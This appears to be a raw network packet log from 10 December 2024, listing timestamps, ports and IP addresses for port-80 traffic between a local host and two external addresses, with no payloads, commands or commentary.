Dec 10, 2024 05:10:30.244730949 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.244774103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.245620012 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.245666981 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.245743990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.246669054 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.246712923 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.246774912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.247081041 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.247677088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.247785091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.247828960 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.248692036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.248809099 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.248859882 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.249723911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.249763966 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.249819040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.250751972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.250791073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.250859022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.251080036 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.251782894 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.251879930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.251924038 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.252820015 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.252916098 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.252962112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.253806114 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.253849983 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.253917933 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.254852057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.254894972 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.254926920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.255079031 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.255877018 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.255980968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.256026030 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.256906033 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.257019997 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.257064104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.257925987 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.257966042 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.258029938 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.258944035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.258990049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.259021044 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.259077072 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.259958982 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.260066032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.260111094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.260981083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.261090040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.261133909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.262012005 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.262111902 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.262155056 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.263021946 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.263065100 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.263119936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.264062881 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.264110088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.264173985 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.265089035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.265142918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.265218973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.265254974 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.266107082 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.266150951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.266210079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.267082930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.267158985 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.267196894 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.267292976 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.267330885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.268135071 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.268276930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.268328905 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.269206047 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.269272089 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.269318104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.270214081 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.270256042 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.270313025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.271085024 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.271228075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.271239996 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.271267891 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.271280050 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.351644039 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:30.355113983 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:30.396260977 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.396303892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.396338940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.396358967 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.396461964 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.396497011 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.396579027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.396612883 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.397520065 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.397556067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.397639990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.397672892 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.398534060 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.398567915 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.398595095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.398627043 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.413750887 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.413803101 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.413844109 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.413882971 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.414267063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.414303064 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.414355040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.414405107 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.415251970 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.415290117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.415378094 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.415416956 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.416284084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.416327953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.416379929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.416419029 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.417300940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.417340040 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.417422056 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.417463064 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.418329000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.418361902 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.418479919 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.418519020 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.419361115 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.419401884 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.419545889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.419581890 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.420373917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.420411110 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.420464993 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.420504093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.421403885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.421472073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.421504021 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.421539068 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.422462940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.422506094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.422523022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.422564983 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.423443079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.423495054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.423547029 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.423585892 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.424488068 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.424535036 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.424568892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.424606085 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.425518990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.425565004 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.425622940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.425662041 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.426523924 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.426563978 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.426610947 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.426649094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.427532911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.427572012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.427650928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.427686930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.428618908 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.428659916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.428735971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.428774118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.429605961 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.429642916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.429706097 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.429744005 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.430627108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.430666924 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.430751085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.430789948 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.431643009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.431687117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.431775093 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.431824923 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.432651043 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.432697058 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.432749033 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.432790995 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.433680058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.433728933 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.433775902 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.433816910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.434720993 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.434767962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.434823036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.434861898 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.435739040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.435781956 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.435831070 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.435867071 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.436769962 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.436817884 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.436829090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.436866045 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.437779903 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.437817097 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.437832117 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.437868118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.438815117 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.438853979 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.438904047 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.438949108 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.439816952 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.439856052 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.439922094 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.439960003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.440810919 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.440849066 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.440932035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.440969944 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.441855907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.441900015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.441960096 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.441992998 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.442879915 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.442920923 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.442986012 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.443022966 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.443928957 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.443969011 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.443969011 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.444003105 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.444987059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.445024014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.445085049 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.445120096 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.445952892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.445992947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.446049929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.446085930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.447045088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.447084904 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.447084904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.447123051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.448002100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.448040009 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.448115110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.448153019 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.449067116 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.449105978 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.449134111 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.449168921 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.450082064 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.450118065 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.450149059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.450186968 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.451076031 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.451118946 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.451179981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.451216936 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.452092886 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.452132940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.452217102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.452256918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.453116894 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.453156948 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.453222990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.453262091 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.454137087 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.454183102 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.454231977 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.454269886 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.455178976 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.455216885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.455288887 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.455333948 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.456214905 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.456253052 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.456315041 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.456356049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.457247972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.457287073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.457315922 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.457360029 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.458252907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.458288908 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.458365917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.458400965 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.459306955 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.459352016 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.459368944 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.459404945 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.460294008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.460339069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.460398912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.460437059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.461345911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.461390018 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.461416960 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.461458921 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.462342024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.462383986 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.462446928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.462486982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.463373899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.463414907 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.463450909 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.463491917 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.588449001 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.588484049 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.588526964 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.588568926 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.588862896 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.588912964 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.588932037 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.588968992 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.589885950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.589939117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.589988947 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.590029001 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.590895891 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.590936899 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.605910063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.605973959 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.606038094 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.606081009 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.606349945 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.606389046 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.606429100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.606466055 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.607399940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.607439041 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.607508898 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.607546091 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.608454943 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.608494997 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.608527899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.608565092 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.609438896 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.609481096 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.609539032 CET	80	49874	185.215.113.16	192.168.2.5
